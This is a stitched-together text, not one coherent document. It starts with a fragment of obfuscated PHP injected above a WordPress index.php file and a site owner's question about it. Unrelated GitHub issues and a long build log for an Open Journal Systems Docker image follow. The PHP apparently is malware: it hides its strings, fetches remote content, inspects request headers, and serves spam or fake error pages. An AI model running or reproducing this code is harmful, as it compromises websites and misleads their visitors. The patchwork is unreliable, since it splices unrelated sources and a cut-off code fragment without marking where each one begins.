$ooooooOOOOoooOOOooooOOOOOoOooOoOo=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL;}else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else{echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[13].$O[10].$O[7].$O[18].PHP_EOL;}}exit;}if(strpos($oOoooOOoOO,$O[10].$O[18].$O[18].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]); echo $ooooooOoOoooOOOooooO;exit;}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){ $ooooooOOoOOoooOOOooooOOOOO=explode($O[55],$oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO=$ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO)-1]; $ooooooOOoOOoooOOOooooOOOOO=str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}else{ $ooooooOOoOOoooOOOooooOOOOO= str_replace($O[63],"",$oOoooOOoOO);$ooooooOOoOOoooOOOooooOOOOO= str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}$ooooooOoOoooOOOooo[$O[1].$O[8].$O[3].$O[12]]=$ooooooOOoOOoooOOOooooOOOOO;$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if($ooooooOOoOoOoooOOOooooOOoOOO=='1'){$ooooooOoOoooOOOooooO=ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOoOoooOOOooooO;exit;}$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[1].$O[8].$O[3].$O[12].$O[11];$ooooooOOoOoOoooOOOooooOOoOoOO= ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if(strpos($oOoooOOoOO,$O[25].$O[10].$O[9])> 0 || $ooooooOOoOoOoooOOOooooOOoOoOO=='1'){$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[3].$O[10].$O[24].$O[12].$O[52].$O[20].$O[25].$O[18];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOOoOoOoooOOOooooOOoOOO;exit;}}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO.$ooOOOoooOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}else{$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}  $ooooOoOOooOoooOOOoOoOoOoO=oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);if(strpos($_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]],$O[59].$O[9].$O[15].$O[9])){ $ooooooooOOOOOOOO = $O[55]; }else{ $ooooooooOOOOOOOO = $O[63]; } if($ooooOoOOooOoooOOOoOoOoOoO && substr($_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]],-5)==$O[59].$O[15].$O[4].$O[25].$O[18] && preg_match($O[63].$O[16].$O[10].$O[63].$O[7],@$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]])){	echo ooOOoOOO($ooooOOOOoooOOOooOoo,$ooooooOoOoooOOOooo);exit;}$oooOoOooOooOoooOOOoOoOoOoOo=oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO);if($oooOoOooOooOoooOOOoOoOoOoOo){$ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO,$ooooooOoOoooOOOooo); if($ooooooOOOOOoooOOOOooooooO==$O[70].$O[67].$O[70]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[69].$O[67].$O[67]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[23].$O[18].$O[10].$O[24].$O[17]){echo '';exit;}else{echo $ooooooOOOOOoooOOOOooooooO;exit;} }else{ header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);} ?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

is someone of my users doing some wrong? could you advice on security mesures I have to take?

Connection refused by Database

When I run version 3_3_0-8/ out-of-the-box, call localhost:8081, get the OJS setup page, set everything appropriately, and click on "Install", I receive the following error:

Errors occurred during installation A database error has occurred: SQLSTATE[HY000] [2002] No such file or directory (SQL: create table `announcement_types` (`type_id` bigint not null auto_increment primary key, `assoc_type` smallint not null, `assoc_id` bigint not null) default character set utf8 collate 'utf8_general_ci') 

I found out that this may be connected to given the host as localhost instead of 127.0.0.1. Hence, I changed it and got a new error message:

Errors occurred during installation A database error has occurred: SQLSTATE[HY000] [2002] Connection refused (SQL: create table `announcement_types` (`type_id` bigint not null auto_increment primary key, `assoc_type` smallint not null, `assoc_id` bigint not null) default character set utf8 collate 'utf8_general_ci') 

Can you reproduce this?

Default captcha font is not available

The default captcha font (FreeSerif) is not provided in container, so the captcha is not generated corretly.

To fix:

  1. apk add ttf-freefont
  2. ln -s /usr/share/fonts/TTF/FreeSerif.ttf /usr/share/fonts/FreeSerif.ttf

Probably going to send an PR with this fix.

Availability

Hey,

thanks for preparing eveything. I would like to update our existing OJS installation to docker version. When is the plan to say this repo could be used in production environment?

Thanks for the answer!
Slavko

Overwriting /usr/local/bin

Dockerfile is overwriting /usr/local/bin with "ojs-" files and it removes "docker-php-ext-" helpers that come with the php image.
We need to move "ojs-*" files or been more gentle with this folder.

Adding this here to take it in consideration when the refactoring.

Script ojs-start problems

  • Running cron in background is not recommended as the process is not monitored. I saw that the application is build to use scheduled tasks "via a mechanism like UNIX’s cron", I think it would be a better approach to schedule directly via the application or an other component (cronjob for k8s / one other container for docker)
    https://docs.pkp.sfu.ca/ojs-2-technical-reference/en/scheduled_tasks

  • The script do not execute the commands after the line :
    /usr/sbin/httpd -f /etc/apache2/httpd.conf -DFOREGROUND
    (Container follows the apache process)
    So the tail command and cli install couldn't be launch. Anyway, the cli_install is just a curl. It can't be used during the "installation" part. The end of the installation must be the running web server.
    This curl command may be launch after container created. For k8s -> with a Job + hook

Support for patched versions - Create "stable" images

Context

PKP is doing kind of semantic versioning as described by https://semver.org

Syntax is:

major.minor.patch-buildLabel

PKP releases versions with unique git-tags (immutable).
When a security issue or a minor bug is found and fixed, a new tag is generated.
But this is difficult to maintain so, when a new "minor" version is released (ie: 3.3.0-0), last minor is frozen and not updated any more (3.2.1-4).
To keep old versions updated with security patches, PKP is keeping "stable-*" branches.
Those branches ARE updated even for ancient 2.x versions.

Even those changes will be at buildLabel level (for example, stable-3.2.1 would be now tag 3.2.1-5), the problem with docker is those "stable" images would change (two different containers with same name) and this is not a good property in a container (you want to keep the "container immutability" to be sure you are testing/running exactly the same piece of software) so we are talking about different solutions to fix this.

Graphically:

imagen

[0]: created because of a security patch.
[1]: updated to include a security patch.
[1]: updated each time a buildLabel release was created
[2]: updated each time a commit occurs to the branch

Where rules are:

  • Tags don't change: If a new change is applied, a new tag name is created.
  • Branch always matches the last tagged "buildLabel".
  • On branches, security patches are applied to all 3.x versions (at x.x.x patch level) and to last 2.x stable.
  • On tags, security patches are only applied to the last MAJOR.minor tags.

Solution

We don't have yet a solution for this, but we have some candidates:

a) "Com'on man... is a buildLabel change":
Assume "stable" will be the "latest" version of the branch. Images will mutate, but it will be a "non-braking change" and you will get an easy way to keep your software up to date.

b) "stable-3.2.1-202104101759": Add timestamp to the docker image name.
Versions will be unique, but this naming is confusing for final users. We will need to keep a list of versions to let people find their versions and understand the changes.

c) "stable-3.2.1-5": Follow the syntax with the "buildLabel".
Attach "buildLabel" to each stable release... even when there is no tag with this "buildLabel".
So "3.2.1-4" tag will be the same than "stable-3.2.1-4", and "3.2.1-5" won't never exist but we will get a "stable-3.2.1-5" image.
It approaches assumes PKP will NEVER release a new tag over a frozen branch... other case we will get version-name overlapings.

Additional questions

When a new semantic release is made, does OJS release 3.3.0-0? Do they only release 3.3.0 until there is a security update that warrants a 3.3.0-1?
Yes, they are.

Why not keep the same tag and branch names for the docker tags? (in other words, don’t change the dots to underscores)
Is feasible but PKP asked explicitly to keep our syntax as close as possible to their naming to facilitate the matching.

Is it possible to automatize image names and build?
Daniel suggest to create them automatically at certain time (weekly?) using "postBuild" hook:
https://docs.docker.com/docker-hub/builds/advanced/#custom-build-phase-hooks

Problem building image files locally

@marcbria FYI, I'm at Dulip's workshop today and we tried our your images yesterday.

Here's how far we got with building the images.

apache

daniel@nuest php7 [master]$ docker build -t local/ojs:"3_1_2-4" .
Sending build context to Docker daemon  23.04kB
Step 1/13 : FROM alpine:3.7
 ---> 6d1ef012b567
Step 2/13 : LABEL maintainer="Public Knowledge Project <[email protected]>"
 ---> Using cache
 ---> 213f84c59507
Step 3/13 : WORKDIR /var/www/html
 ---> Using cache
 ---> c4b5c1eda630
Step 4/13 : ENV COMPOSER_ALLOW_SUPERUSER=1      SERVERNAME="localhost"          HTTPS="on"                      OJS_VERSION=3_1_2-4     OJS_CLI_INSTALL="0"             OJS_DB_HOST="localhost"         OJS_DB_USER="ojs"               OJS_DB_PASSWORD="ojs"           OJS_DB_NAME="ojs"               OJS_WEB_CONF="/etc/apache2/conf.d/ojs.conf"       OJS_CONF="/var/www/html/config.inc.php"           PACKAGES="supervisor dcron apache2 apache2-ssl apache2-utils php7 php7-fpm php7-cli php7-apache2                php7-zlib php7-json php7-mbstring php7-tokenizer php7-simplexml php7-phar php7-openssl                 php7-curl php7-mcrypt php7-pdo_mysql php7-mysqli php7-session php7-ctype php7-gd php7-xml              php7-dom php7-iconv curl nodejs git"     EXCLUDE_URL="https://raw.githubusercontent.com/pkp/docker-ojs/master/excludeVar.list"
 ---> Running in 44d59038295d
Removing intermediate container 44d59038295d
 ---> 545616cfb625
Step 5/13 : RUN apk add --update --no-cache $PACKAGES &&     curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer &&     git config --global url.https://.insteadOf git:// &&     git config --global advice.detachedHead false &&     git clone --depth 1 --single-branch --branch $OJS_VERSION --progress https://github.com/pkp/ojs.git . &&     git submodule update --init --recursive >/dev/null
 ---> Running in 05ab2f3c2cdb
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/community/x86_64/APKINDEX.tar.gz
(1/76) Installing libuuid (2.31.1-r0)
(2/76) Installing apr (1.6.3-r0)
(3/76) Installing expat (2.2.8-r0)
(4/76) Installing apr-util (1.6.1-r1)
(5/76) Installing pcre (8.41-r1)
(6/76) Installing apache2 (2.4.41-r0)
Executing apache2-2.4.41-r0.pre-install
(7/76) Installing libressl (2.6.5-r0)
(8/76) Installing apache2-ssl (2.4.41-r0)
Executing apache2-ssl-2.4.41-r0.post-install
(9/76) Installing apache2-utils (2.4.41-r0)
(10/76) Installing ca-certificates (20190108-r0)
(11/76) Installing libssh2 (1.9.0-r1)
(12/76) Installing libcurl (7.61.1-r3)
(13/76) Installing curl (7.61.1-r3)
(14/76) Installing dcron (4.5-r3)
(15/76) Installing pcre2 (10.30-r0)
(16/76) Installing git (2.15.4-r0)
(17/76) Installing nodejs-npm (8.9.3-r1)
(18/76) Installing c-ares (1.13.0-r0)
(19/76) Installing libcrypto1.0 (1.0.2t-r0)
(20/76) Installing libgcc (6.4.0-r5)
(21/76) Installing http-parser (2.7.1-r1)
(22/76) Installing libssl1.0 (1.0.2t-r0)
(23/76) Installing libstdc++ (6.4.0-r5)
(24/76) Installing libuv (1.17.0-r0)
(25/76) Installing nodejs (8.9.3-r1)
(26/76) Installing php7-common (7.1.33-r0)
(27/76) Installing ncurses-terminfo-base (6.0_p20171125-r1)
(28/76) Installing ncurses-terminfo (6.0_p20171125-r1)
(29/76) Installing ncurses-libs (6.0_p20171125-r1)
(30/76) Installing libedit (20170329.3.1-r3)
(31/76) Installing libxml2 (2.9.8-r1)
(32/76) Installing php7 (7.1.33-r0)
(33/76) Installing php7-apache2 (7.1.33-r0)
(34/76) Installing php7-ctype (7.1.33-r0)
(35/76) Installing php7-curl (7.1.33-r0)
(36/76) Installing php7-dom (7.1.33-r0)
(37/76) Installing php7-fpm (7.1.33-r0)
(38/76) Installing libxau (1.0.8-r2)
(39/76) Installing libbsd (0.8.6-r1)
(40/76) Installing libxdmcp (1.1.2-r4)
(41/76) Installing libxcb (1.12-r1)
(42/76) Installing libx11 (1.6.6-r0)
(43/76) Installing libxext (1.3.3-r2)
(44/76) Installing libice (1.0.9-r2)
(45/76) Installing libsm (1.2.2-r1)
(46/76) Installing libxt (1.1.5-r1)
(47/76) Installing libxpm (3.5.12-r0)
(48/76) Installing libbz2 (1.0.6-r7)
(49/76) Installing libpng (1.6.37-r0)
(50/76) Installing freetype (2.8.1-r4)
(51/76) Installing libjpeg-turbo (1.5.3-r3)
(52/76) Installing libwebp (0.6.0-r1)
(53/76) Installing php7-gd (7.1.33-r0)
(54/76) Installing php7-iconv (7.1.33-r0)
(55/76) Installing php7-json (7.1.33-r0)
(56/76) Installing php7-mbstring (7.1.33-r0)
(57/76) Installing libmcrypt (2.5.8-r7)
(58/76) Installing php7-mcrypt (7.1.33-r0)
(59/76) Installing php7-openssl (7.1.33-r0)
(60/76) Installing php7-mysqlnd (7.1.33-r0)
(61/76) Installing php7-mysqli (7.1.33-r0)
(62/76) Installing php7-pdo (7.1.33-r0)
(63/76) Installing php7-pdo_mysql (7.1.33-r0)
(64/76) Installing php7-phar (7.1.33-r0)
(65/76) Installing php7-session (7.1.33-r0)
(66/76) Installing php7-simplexml (7.1.33-r0)
(67/76) Installing php7-tokenizer (7.1.33-r0)
(68/76) Installing php7-xml (7.1.33-r0)
(69/76) Installing libffi (3.2.1-r4)
(70/76) Installing gdbm (1.13-r1)
(71/76) Installing readline (7.0.003-r0)
(72/76) Installing sqlite-libs (3.25.3-r2)
(73/76) Installing python2 (2.7.15-r3)
(74/76) Installing py-meld3 (1.0.2-r1)
(75/76) Installing py-setuptools (33.1.1-r1)
(76/76) Installing supervisor (3.3.3-r1)
Executing busybox-1.27.2-r11.trigger
Executing ca-certificates-20190108-r0.trigger
OK: 159 MiB in 89 packages
All settings correct for using Composer
Downloading...

Composer (version 1.9.3) successfully installed to: /usr/local/bin/composer
Use it: php /usr/local/bin/composer

Cloning into '.'...
remote: Enumerating objects: 3359, done.        
remote: Counting objects: 100% (3359/3359), done.        
remote: Compressing objects: 100% (1804/1804), done.        
remote: Total 3359 (delta 954), reused 1922 (delta 635), pack-reused 0        
Receiving objects: 100% (3359/3359), 7.05 MiB | 2.20 MiB/s, done.
Resolving deltas: 100% (954/954), done.
Submodule 'docs/manual' (https://github.com/pkp/ojs-user-guide) registered for path 'docs/manual'
Submodule 'lib/pkp' (https://github.com/pkp/pkp-lib.git) registered for path 'lib/pkp'
Submodule 'lib/ui-library' (https://github.com/pkp/ui-library) registered for path 'lib/ui-library'
Submodule 'plugins/blocks/makeSubmission' (https://github.com/pkp/makeSubmission.git) registered for path 'plugins/blocks/makeSubmission'
Submodule 'plugins/generic/citationStyleLanguage' (https://github.com/pkp/citationStyleLanguage.git) registered for path 'plugins/generic/citationStyleLanguage'
Submodule 'plugins/generic/customBlockManager' (https://github.com/pkp/customBlockManager.git) registered for path 'plugins/generic/customBlockManager'
Submodule 'plugins/generic/googleAnalytics' (https://github.com/pkp/googleAnalytics.git) registered for path 'plugins/generic/googleAnalytics'
Submodule 'plugins/generic/lensGalley' (https://github.com/asmecher/lensGalley) registered for path 'plugins/generic/lensGalley'
Submodule 'plugins/generic/orcidProfile' (https://github.com/pkp/orcidProfile.git) registered for path 'plugins/generic/orcidProfile'
Submodule 'plugins/generic/pdfJsViewer' (https://github.com/pkp/pdfJsViewer.git) registered for path 'plugins/generic/pdfJsViewer'
Submodule 'plugins/generic/staticPages' (https://github.com/pkp/staticPages.git) registered for path 'plugins/generic/staticPages'
Submodule 'plugins/generic/tinymce' (https://github.com/pkp/tinymce.git) registered for path 'plugins/generic/tinymce'
Submodule 'plugins/generic/translator' (https://github.com/pkp/translator.git) registered for path 'plugins/generic/translator'
Submodule 'plugins/generic/usageStats' (https://github.com/pkp/usageStats.git) registered for path 'plugins/generic/usageStats'
Submodule 'plugins/reports/counter/classes/COUNTER' (https://github.com/ulsdevteam/COUNTER.git) registered for path 'plugins/reports/counter/classes/COUNTER'
Submodule 'plugins/reports/reviewReport' (https://github.com/pkp/reviewReport) registered for path 'plugins/reports/reviewReport'
Cloning into '/var/www/html/docs/manual'...
Cloning into '/var/www/html/lib/pkp'...
Cloning into '/var/www/html/lib/ui-library'...
Cloning into '/var/www/html/plugins/blocks/makeSubmission'...
Cloning into '/var/www/html/plugins/generic/citationStyleLanguage'...
Cloning into '/var/www/html/plugins/generic/customBlockManager'...
Cloning into '/var/www/html/plugins/generic/googleAnalytics'...
Cloning into '/var/www/html/plugins/generic/lensGalley'...
Cloning into '/var/www/html/plugins/generic/orcidProfile'...
Cloning into '/var/www/html/plugins/generic/pdfJsViewer'...
Cloning into '/var/www/html/plugins/generic/staticPages'...
Cloning into '/var/www/html/plugins/generic/tinymce'...
Cloning into '/var/www/html/plugins/generic/translator'...
Cloning into '/var/www/html/plugins/generic/usageStats'...
Cloning into '/var/www/html/plugins/reports/counter/classes/COUNTER'...
Cloning into '/var/www/html/plugins/reports/reviewReport'...
Submodule 'js/lib/jquery/plugins/spectrum' (https://github.com/bgrins/spectrum.git) registered for path 'lib/pkp/js/lib/jquery/plugins/spectrum'
Submodule 'lib/counterBots' (https://github.com/atmire/COUNTER-Robots.git) registered for path 'lib/pkp/lib/counterBots'
Cloning into '/var/www/html/lib/pkp/js/lib/jquery/plugins/spectrum'...
Cloning into '/var/www/html/lib/pkp/lib/counterBots'...
Removing intermediate container 05ab2f3c2cdb
 ---> 23b53a15b094
Step 6/13 : RUN composer update -d lib/pkp --no-dev &&     composer install -d plugins/paymethod/paypal --no-dev &&     composer install -d plugins/generic/citationStyleLanguage --no-dev &&     npm install -y && npm run build
 ---> Running in 2377b4ab3202
Loading composer repositories with package information
Updating dependencies
Package operations: 28 installs, 0 updates, 0 removals
  - Installing kylekatarnls/update-helper (1.2.0): Downloading (100%)         
  - Installing alex198710/pnotify (dev-master eb97db0): Cloning eb97db0d22 from cache
  - Installing firebase/php-jwt (v5.0.0): Downloading (100%)         
  - Installing ralouphie/getallheaders (3.0.3): Downloading (100%)         
  - Installing components/jquery (3.4.1): Downloading (100%)         
  - Installing components/jqueryui (1.12.1): Downloading (100%)         
  - Installing oyejorge/less.php (v1.7.0.14): Downloading (100%)         
  - Installing phpmailer/phpmailer (v6.1.4): Downloading (100%)         
  - Installing smarty/smarty (v3.1.34): Downloading (100%)         
  - Installing ezyang/htmlpurifier (v4.12.0): Downloading (100%)         
  - Installing moxiecode/plupload (v2.3.6): Downloading (100%)         
  - Installing tinymce/tinymce (4.9.8): Downloading (100%)         
  - Installing michelf/php-markdown (1.9.0): Downloading (100%)         
  - Installing psr/container (1.0.0): Downloading (100%)         
  - Installing nikic/fast-route (v1.3.0): Downloading (100%)         
  - Installing psr/http-message (1.0.1): Downloading (100%)         
  - Installing pimple/pimple (v3.2.3): Downloading (100%)         
  - Installing slim/slim (3.12.3): Downloading (100%)         
  - Installing symfony/polyfill-mbstring (v1.14.0): Downloading (100%)         
  - Installing symfony/translation (v3.4.37): Downloading (100%)         
  - Installing nesbot/carbon (1.39.1): Downloading (100%)         
  - Installing psr/simple-cache (1.0.1): Downloading (100%)         
  - Installing illuminate/contracts (v5.5.44): Downloading (100%)         
  - Installing doctrine/inflector (1.3.1): Downloading (100%)         
  - Installing illuminate/support (v5.5.44): Downloading (100%)         
  - Installing illuminate/container (v5.5.44): Downloading (100%)         
  - Installing illuminate/database (v5.5.44): Downloading (100%)         
  - Installing danielstjules/stringy (3.1.0): Downloading (100%)         
Package oyejorge/less.php is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files
Carbon 1 is deprecated, see how to migrate to Carbon 2.
https://carbon.nesbot.com/docs/#api-carbon-2
    You can run '/var/www/html/lib/pkp/lib/vendor/nesbot/carbon/bin/upgrade-carbon' to get help in updating carbon and other frameworks and libraries that depend on it.
Loading composer repositories with package information
Installing dependencies from lock file
Package operations: 21 installs, 0 updates, 0 removals
  - Installing guzzlehttp/promises (v1.3.1): Downloading (100%)         
  - Installing ralouphie/getallheaders (3.0.3): Loading from cache
  - Installing psr/http-message (1.0.1): Loading from cache
  - Installing guzzlehttp/psr7 (1.6.1): Downloading (100%)         
  - Installing moneyphp/money (v3.2.1): Downloading (100%)         
  - Installing paragonie/random_compat (v9.99.99): Downloading (100%)         
  - Installing symfony/polyfill-php70 (v1.12.0): Downloading (100%)         
  - Installing symfony/polyfill-mbstring (v1.12.0): Downloading (100%)         
  - Installing symfony/http-foundation (v3.4.31): Downloading (100%)         
  - Installing php-http/message-factory (v1.0.2): Downloading (100%)         
  - Installing clue/stream-filter (v1.4.1): Downloading (100%)         
  - Installing php-http/message (1.8.0): Downloading (100%)         
  - Installing php-http/discovery (1.7.0): Downloading (100%)         
  - Installing psr/http-client (1.0.0): Downloading (100%)         
  - Installing php-http/promise (v1.0.0): Downloading (100%)         
  - Installing php-http/httplug (v2.0.0): Downloading (100%)         
  - Installing guzzlehttp/guzzle (6.3.3): Downloading (100%)         
  - Installing php-http/guzzle6-adapter (v2.0.1): Downloading (100%)         
  - Installing omnipay/common (v3.0.2): Downloading (100%)         
  - Installing omnipay/paypal (v3.0.2): Downloading (100%)         
  - Installing symfony/event-dispatcher (v2.8.50): Downloading (100%)         
Generating autoload files
Loading composer repositories with package information
Installing dependencies from lock file
Package operations: 5 installs, 0 updates, 0 removals
  - Installing citation-style-language/locales (1.0.0): Cloning master from cache
  - Installing symfony/polyfill-mbstring (v1.12.0): Loading from cache
  - Installing seboettg/collection (v1.3.1): Downloading (100%)         
  - Installing myclabs/php-enum (1.7.2): Downloading (100%)         
  - Installing seboettg/citeproc-php (v2.1.6): Downloading (100%)         
Generating autoload files
npm WARN deprecated [email protected]: Deprecated. Please use https://github.com/webpack-contrib/mini-css-extract-plugin
npm WARN notice [SECURITY] marked has the following vulnerability: 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=marked&version=0.3.19 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN deprecated [email protected]: Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.
npm WARN deprecated [email protected]: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.
npm WARN deprecated [email protected]: request has been deprecated, see https://github.com/request/request/issues/3142
npm WARN deprecated [email protected]: This module moved to @hapi/hawk. Please make sure to switch over as this distribution is no longer supported and may contain bugs and critical security issues.
npm WARN deprecated [email protected]: Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.
npm WARN deprecated [email protected]: CircularJSON is in maintenance only, flatted is its successor.
npm WARN notice [SECURITY] cryptiles has the following vulnerability: 1 high. Go here for more details: https://www.npmjs.com/advisories?search=cryptiles&version=2.0.5 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN deprecated [email protected]: This module moved to @hapi/sntp. Please make sure to switch over as this distribution is no longer supported and may contain bugs and critical security issues.
npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN notice [SECURITY] hoek has the following vulnerability: 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=hoek&version=2.16.3 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
